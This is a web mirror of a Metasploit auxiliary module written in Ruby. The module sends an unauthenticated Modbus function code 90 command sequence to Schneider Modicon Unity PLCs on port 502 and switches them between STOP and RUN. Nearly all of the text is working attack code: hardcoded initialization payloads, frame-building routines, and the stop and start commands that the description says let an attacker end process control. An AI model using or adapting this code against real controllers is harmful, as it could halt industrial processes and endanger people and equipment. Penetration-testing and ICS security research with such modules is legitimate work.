Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/modicon_command.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Rex::Socket::Tcp
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Schneider Modicon Remote START/STOP Command',
15
'Description' => %q{
16
The Schneider Modicon with Unity series of PLCs use Modbus function
17
code 90 (0x5a) to perform administrative commands without authentication.
18
This module allows a remote user to change the state of the PLC between
19
STOP and RUN, allowing an attacker to end process control by the PLC.
20
21
This module is based on the original 'modiconstop.rb' Basecamp module from
22
DigitalBond.
23
},
24
'Author' => [
25
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
26
'todb' # Metasploit fixups
27
],
28
'License' => MSF_LICENSE,
29
'References' => [
30
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
31
],
32
'DisclosureDate' => '2012-04-05',
33
'Notes' => {
34
'Stability' => [CRASH_SAFE],
35
'SideEffects' => [IOC_IN_LOGS],
36
'Reliability' => []
37
}
38
)
39
)
40
register_options(
41
[
42
OptEnum.new('MODE', [
43
true, 'PLC command', 'STOP',
44
[
45
'STOP',
46
'RUN'
47
]
48
]),
49
Opt::RPORT(502)
50
]
51
)
52
end
53
54
# this is used for building a Modbus frame
55
# just prepends the payload with a modbus header
56
def makeframe(packetdata)
57
if packetdata.size > 255
58
print_error('packet too large, sorry')
59
print_error('Offending packet: ' + packetdata)
60
return
61
end
62
payload = ''
63
payload += [@modbuscounter].pack('n')
64
payload += "\x00\x00\x00" # dunno what these are
65
payload += [packetdata.size].pack('c') # size byte
66
payload + packetdata
67
end
68
69
# a wrapper just to be sure we increment the counter
70
def sendframe(payload)
71
sock.put(payload)
72
@modbuscounter += 1
73
r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?
74
return r
75
end
76
77
# This function sends some initialization requests
78
# I have no idea what these do, but they seem to be
79
# needed to get the Modicon chatty with us.
80
# I would make some analogy to 'gaming' in the
81
# bar-dating scene, but I'll refrain.
82
def init
83
payload = "\x00\x5a\x00\x02"
84
sendframe(makeframe(payload))
85
payload = "\x00\x5a\x00\x01\x00"
86
sendframe(makeframe(payload))
87
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
88
sendframe(makeframe(payload))
89
payload = "\x00\x5a\x00\x03\x00"
90
sendframe(makeframe(payload))
91
payload = "\x00\x5a\x00\x03\x04"
92
sendframe(makeframe(payload))
93
payload = "\x00\x5a\x00\x04"
94
sendframe(makeframe(payload))
95
payload = "\x00\x5a\x00\x01\x00"
96
sendframe(makeframe(payload))
97
payload = "\x00\x5a\x00\x0a\x00"
98
(0..0xf9).each { |x| payload += [x].pack('c') }
99
sendframe(makeframe(payload))
100
payload = "\x00\x5a\x00\x04"
101
sendframe(makeframe(payload))
102
payload = "\x00\x5a\x00\x04"
103
sendframe(makeframe(payload))
104
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
105
sendframe(makeframe(payload))
106
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
107
sendframe(makeframe(payload))
108
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
109
sendframe(makeframe(payload))
110
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
111
sendframe(makeframe(payload))
112
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
113
sendframe(makeframe(payload))
114
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
115
sendframe(makeframe(payload))
116
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
117
sendframe(makeframe(payload))
118
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
119
sendframe(makeframe(payload))
120
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
121
sendframe(makeframe(payload))
122
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
123
sendframe(makeframe(payload))
124
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
125
sendframe(makeframe(payload))
126
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
127
sendframe(makeframe(payload))
128
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
129
payload += 'USER-714E74F21B' # Yep, really
130
# payload += "META-SPLOITMETA"
131
sendframe(makeframe(payload))
132
payload = "\x00\x5a\x01\x04"
133
sendframe(makeframe(payload))
134
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
135
sendframe(makeframe(payload))
136
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
137
sendframe(makeframe(payload))
138
payload = "\x00\x5a\x01\x12"
139
sendframe(makeframe(payload))
140
payload = "\x00\x5a\x01\x04"
141
sendframe(makeframe(payload))
142
payload = "\x00\x5a\x01\x12"
143
sendframe(makeframe(payload))
144
payload = "\x00\x5a\x01\x04"
145
sendframe(makeframe(payload))
146
payload = "\x00\x5a\x00\x02"
147
sendframe(makeframe(payload))
148
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
149
sendframe(makeframe(payload))
150
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
151
sendframe(makeframe(payload))
152
payload = "\x00\x5a\x01\x04"
153
sendframe(makeframe(payload))
154
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
155
sendframe(makeframe(payload))
156
end
157
158
def stop
159
payload = "\x00\x5a\x01\x41\xff\x00"
160
sendframe(makeframe(payload))
161
payload = "\x00\x5a\x01\x04"
162
sendframe(makeframe(payload))
163
end
164
165
def start
166
payload = "\x00\x5a\x01\x40\xff\x00"
167
sendframe(makeframe(payload))
168
payload = "\x00\x5a\x01\x04"
169
sendframe(makeframe(payload))
170
end
171
172
def run
173
@modbuscounter = 0x0000 # used for modbus frames
174
connect
175
init
176
case datastore['MODE']
177
when 'STOP'
178
stop
179
when 'RUN'
180
start
181
else
182
print_error('Invalid MODE')
183
return
184
end
185
end
186
end
187
188